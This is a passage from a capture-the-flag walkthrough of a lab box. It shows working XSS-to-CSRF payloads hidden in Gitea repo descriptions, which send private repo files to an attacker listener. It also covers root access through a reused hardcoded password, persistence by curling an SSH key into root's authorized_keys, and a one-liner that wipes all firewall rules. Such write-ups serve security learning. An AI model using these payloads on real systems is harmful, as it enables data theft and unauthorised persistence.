Perfecting the payload

Before we go for the real target, I’ll try using this payload on myself - I’ll make a new repo with the payload in the description, and click the link from the Explore pane in Gitea:

//const tgturl='http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md';
const tgturl='/';
const exfil='http://10.10.14.95:8000/?b64=';
fetch(tgturl).then( response => {
    return response.text();
}).then( text => {
    const b64=btoa(encodeURIComponent(text)).replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '');
    fetch(exfil+b64);
})

We can take this JS payload and put it inside an anchor tag:

<a href="javascript:const tgturl='/';const exfil='http://10.10.14.95:8000/?b64=';fetch(tgturl).then( response => {return response.text();}).then(text => {const b64=btoa(encodeURIComponent(text)).replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '');fetch(exfil+b64);})">link</a>

Submitting the above HTML as a repo description, I clicked the link in the description and saw my HTTP listener catch the data!

test payload urlencoded

To url-decode this, I’ll just use sed:

URLENCODED='%3C!DOCTYPE%20html%3E%0A%3Chtml%20lang%3D%22en-US%22%20data-theme%3D%22gitea-auto%22...%2Fhtml%3E%0A%0A'
echo $URLENCODED | sed 's/%/\\x/g' | xargs -0 printf > decoded.html
firefox decoded.html

test payload urlencoded 2

😁 It worked!

Trying the CSRF against jobert

Let’s try this same idea against the actual target now:

It is important to CSRF your cats every day!
<a href="javascript:const tgturl='http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md';const exfil='http://10.10.14.95:8000/?b64=';fetch(tgturl).then(response=>{return response.text();}).then(text => {const b64=btoa(encodeURIComponent(text)).replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '');fetch(exfil+b64);})">link</a>

Then I’ll send an email to jobert as usual:

email jobert

After a moment, we see the response at our HTTP listener - the CSRF worked!

gitea xss 8

URLENCODED='%23%20Employee%20Management%0ASite%20under%20construction.%20Authorized%20user%3A%20admin.%20No%20visibility%20or%20updates%20visible%20to%20employees.'
echo $URLENCODED | sed 's/%/\\x/g' | xargs -0 printf > ~/Box_Notes/Cat/source/README.md
vim ~/Box_Notes/Cat/source/README.md

README exfiltrated

That’s not as helpful as I would have hoped 👀

Getting a directory listing

Since the README.md file is pretty useless, maybe I’ll check the main page of the repo, as kind of a de-facto directory listing?

It is important to CSRF your cats every day!
<a href="javascript:const tgturl='http://localhost:3000/administrator/Employee-management';const exfil='http://10.10.14.95:8000/?b64=';fetch(tgturl).then(response=>{return response.text();}).then(text => {const b64=btoa(encodeURIComponent(text)).replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '');fetch(exfil+b64);})">link</a>

💀 The result was devastating:

10.129.131.44 - - [05/Feb/2025 17:07:22] code 414, message Request-URI Too Long

The URI is too long for a GET request! How about sending it as a POST instead? This is basically the same request as above, except it sends the b64 variable as x-www-form-urlencoded data instead:

const tgturl = 'http://localhost:3000/administrator/Employee-management';
const exfil = 'http://10.10.14.95:8000/';
fetch(tgturl)
  .then(response => response.text())
  .then(text => {
    const b64 = btoa(encodeURIComponent(text)).replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '');
    const params = new URLSearchParams();
    params.append('b64', b64);
    fetch(exfil, {
      method: 'POST',
      headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
      },
      body: params.toString()
    });
  });

I’ll do the same as before - wrap the payload into an tag, set that as the Description of a new repo, then send jobert an email telling them to visit the repo.

And it worked!

POST response for repo page

I tried my usual tricks for url-decoding the body, but nothing I could do in bash seemed to actually work. Thankfully, it worked right away when I popped it into Cyberchef:

cyberchef decode

Using the Save Output feature of Cyberchef, I grabbed a copy of the resultant HTML and opened it locally in a web browser:

rendering repo page html

🎉 Nice! Now we have a list of files to check out. Since there’s a logout.php but no login.php (or authentication.php or whatever), it’s likely that any auth mechanism is within index.php, so I’ll get a copy of that next:

It is important to CSRF your cats every day!
<a href="javascript:const tgturl='/administrator/Employee-management/raw/branch/main/index.php';const exfil='http://10.10.14.95:8000/?b64=';fetch(tgturl).then( response => {return response.text();}).then(text => {const b64=btoa(encodeURIComponent(text)).replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '');fetch(exfil+b64);})">link</a>

Using exactly the same procedure as earlier (new repo, set Description, email jobert, watch HTTP listener), I got a result:

gitea xss 7

This is much shorter, so I can just url-decode using sed:

URLENCODED='%3C%3Fphp%0A%24valid_username%20%3D%20'admin'...dashboard.php')%3B%0Aexit%3B%0A%3F%3E%0A%0A'
echo $URLENCODED | sed 's/%/\\x/g' | xargs -0 printf > ./index.php
cat ./index.php
<?php
$valid_username = admin;
$valid_password = IKw75eR0MR7CMIxhH0;

if (!isset($_SERVER[PHP_AUTH_USER]) || !isset($_SERVER[PHP_AUTH_PW]) || 
    $_SERVER[PHP_AUTH_USER] != $valid_username || $_SERVER[PHP_AUTH_PW] != $valid_password) {
    
    header(WWW-Authenticate: Basic realm="Employee Management");
    header(HTTP/1.0 401 Unauthorized);
    exit;
}

header(Location: dashboard.php);
exit;
?>

😮 There’s some hardcoded credentials in there! Let’s try them out for credential re-use:

ssh jobert@cat.htb  # Nope
ssh root@cat.htb	# Nope
Gitea as 'administrator'  # Nope
su jobert			# Nope
su root				# YEP!!

🌮 🐱 YES! We have the root password:

root flag

We’ve now completed the box 😀

CLEANUP

Target

I’ll get rid of the spot where I place my tools, /tmp/.Tools:

rm -rf /tmp/.Tools

Attacker

There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:

rm -rf ./source/cat.htb

It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

EXTRA CREDIT

Planting root SSH key

We already have the root password, but we can’t login remotely as root without using axel first. Let’s “fix” that by planting an SSH key.

First, on our attacker machine, we’ll generate a keypair and put the pubkey on the HTTP server:

ssh-keygen -t rsa -b 1024 -N 'duckyDUCKYducky' -f root_id_rsa
cp root_id_rsa.pub ../www

On the target as root, we can simply curl the pubkey into place:

curl -s http://10.10.14.95:8000/root_id_rsa.pub >> /root/.ssh/authorized_keys

From the attacker host, we should be able to connect now as root directly:

ssh -i ./root_id_rsa root@cat.htb  # duckyDUCKYducky

root SSH

All good! Now we can let ourselves in gracefully, if we want.

LESSONS LEARNED

two crossed swords

Attacker

  • 💻 Use Pwnbox when your connection is poor but need to do time-based blind SQLi. I was stuck on the foothold for quite a while because of this issue. Thankfully, I eventually came to my senses and switched over to Pwnbox to perform the SQLi step. After switching, things worked without too much fuss. Note: I’ve also had this problem (and solution) for doing XXEs.

  • 👥 Check every group that a user is in, when you pivot to a user. On this box, I quickly saw that rosa was in the adm group, and checked what kind of extra access that afforded me. As soon as I saw the list of files that adm could read, I made a list of items to investigate.

  • 🍪 Don’t bother trying to steal HttpOnly cookies. I wasted an embarrassing amount of time during the Root Flag part of this box trying to steal the administrator session cookie in Gitea. I should have checked a LOT sooner what the cookie properties were. If the HttpOnly property is enabled, the cookie cannot be read with javascript.

  • 🏄 XSS can be extended into CSRF This box was an excellent demonstration that there is a lot more you can do with XSS than simple session hijacking. Good CSRF be extremely dangerous in the right hands. For instance, the first thing I checked for on this box was accessing the Gitea API as adminstrator (Unfortunately, administrator didn’t seem to have an API token in use)

two crossed swords

Defender

  • 💉 Always use prepared statements in every database interaction of a web app. This box had stacked queries disabled (which is default), but failed to use prepared statements in every query. The accept_cat.php INSERT statement, which used user-controllable inputs, failed to use a prepared statement. When you’re dealing with SQL, stay vigilant!

  • #️⃣ If you must use HTTP for a web app, be sure to at least use client-side hashing of credentials. I would consider this “bare minimum” security. It also adds one degree of separation between user accounts anyone that can view access logs. On this box, rosa was (carelessly?) granted permissions to the access logs, and we were able to watch passwords being sent in plaintext… not even MD5 hashing!

  • 🛀 Sanitize, even if it came from the database. You could consider this as “defence-in-depth” because, as long as you properly sanitized user inputs, this shouldn’t be an issue right? It still can be an issue, in some edge cases. It is best to treat the data queried from a database as “tainted” and always sanitize at query-time, too!


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake